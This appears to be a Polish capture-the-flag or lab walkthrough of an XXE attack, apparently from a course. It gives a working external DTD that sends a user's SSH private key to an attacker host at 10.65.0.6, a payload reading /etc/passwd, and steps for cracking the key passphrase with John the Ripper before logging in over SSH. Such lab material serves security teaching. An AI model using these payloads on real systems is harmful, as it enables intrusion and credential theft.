XML External Entities (XXE)

Włamanie na serwer i eksfiltracji klucza SSH

Zadanie: Wykorzystanie podatności, aby przeprowadzić atak prowadzący do eskalacji uprawnień.
Szczegółowy opis: Przygotowanie zewnętrznej encji XML w pliku xxe.dtd, która umożliwia odczyt lokalnych plików na serwerze ofiary i przesyłanie ich zawartości w formacie base64 na maszynę atakującego. Identyfikacja aktywnego konta użytkownika systemowego poprzez odczyt pliku /etc/passwd. Eksfiltracja prywatnego klucza SSH z katalogu domowego użytkownika oraz złamanie jego hasła za pomocą ataku słownikowego. Ostatecznym celem jest zdalne połączenie się z kontem ofiary i uzyskanie dostępu do systemu w celu przejęcia flagi.
Target IP: [TERGET_IP]
UI Aplikacji:

Example

  1. Utwórz plik xxe.dtd na Kali
    Cel: Przygotować zewnętrzną encję, która odczyta dowolny plik i wyśle go do Kali w base64
    Działanie: Przygotuj plik xxe.dtd na Kali

    skrypt dtd

       <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/home/sshadmin/.ssh/id_rsa">
       <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://10.65.0.6/%file;'>">
       %eval; %exfil;
    
    Sprawdzenie poprawności utworzenia zobisz za pomoca
    Example
  2. Odczyt pliku /etc/passwd
    Cel: Zweryfikować podatność i pozyskać nazwa użytkownika systemowego
    Działanie: Wklej w pole poniszy xml payload

    XML payload

      <!DOCTYPE pjatk [<!ENTITY xxe SYSTEM "/etc/passwd"> ]>
      <PLANT>
      <COMMON>&xxe;</COMMON>
      <BOTANICAL>Sanguinaria canadensis</BOTANICAL>
      <ZONE>4</ZONE>
      <LIGHT>Mostly Shady</LIGHT>
      <AVAILABILITY>031599</AVAILABILITY>
      </PLANT>
    

    Rezultat:

    Example
  3. Eksfiltracja klucza id_rsa
    Cel: Zdobyć materiał do dalszego włamania
    Działanie: Zmień w xxe.dtd ścieżkę na /home/sshadmin/.ssh/id_rsa, odśwież serwer i powtórz krok 2. Zapisz wynik w id_rsa.
    Rezultat:

    Example
  4. Złamanie hasła klucza
    Cel: Poznać passphrase klucza
    Działanie: Najpierw przekształcić klucz do formatu akceptowanego przez John the Ripper, a następnie użyć słownika carders.cc do odgadnięcia jego hasła.
    4a. Utwórz plik id_rsa i wklej klucz w poprawnym układzie Mozesz to zrobic takze manualnie za pomoca "nano

    Bash

       cat > id_rsa <<'EOF'
       -----BEGIN OPENSSH PRIVATE KEY-----
       b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAR7yqUKZ
       lMQFd9zLkvlM6yAAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQDdeieceRH0
       …(POZOSTAŁE linie Base64 w oryginalnym układzie)…
       jEOI2JozpZQqzv0HEDfAEtRMb5g=
       -----END OPENSSH PRIVATE KEY-----
       EOF
    

    4b. Nadaj właściwe prawa

    chmod 400 id_rsa
    

    4c. Zweryfikuj szybkim podglądema

    head -n 5 id_rsa
    

    4d. Przekonwertuj klucz na hash zrozumiały dla Johna

    ssh2john id_rsa > id_rsa.john
    

    4e. Złam hasło słownikiem carders

    john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/carders.cc.txt id_rsa.john
    

    4f. Wyświetl wynik ponownie

    john --show id_rsa.john
    

    Rezultat:

    Example
  5. Połączenie SSH z hostem [TARGET_IP] przy użyciu złamanego klucza
    Cel: Uzyskać interaktywną powłokę użytkownika sshadmin na serwerze 192.168.100.63, korzystając z prywatnego klucza id_rsa i poznanego wcześniej passphrase.
    Działanie: W terminalu uruchomić:

     ssh -i id_rsa sshadmin@[TARGET_IP]
    

    Następnie, gdy klient SSH poprosi o hasło do klucza, wpisać odzyskany passphrase. Po uwierzytelnieniu następuje zalogowanie na konto sshadmin i otrzymanie powłoki systemu zdalnego.
    Rezultat:

    Example
  6. Rozpoznanie terenu
    Cel: Po dostaniu się na konto (sshadmin) nie wiesz, jakie pliki czy skrypty są dostępne. Uzyj listowania by zobaczyc
    Działanie: Wykonaj ls -la (widok z uprawnieniami) w katalogu domowym użytkownika, aby wyświetlić pełną listę plików — łącznie z ukrytymi (.*) — i ocenić, które z nich warto dalej analizować

     ls
     cat *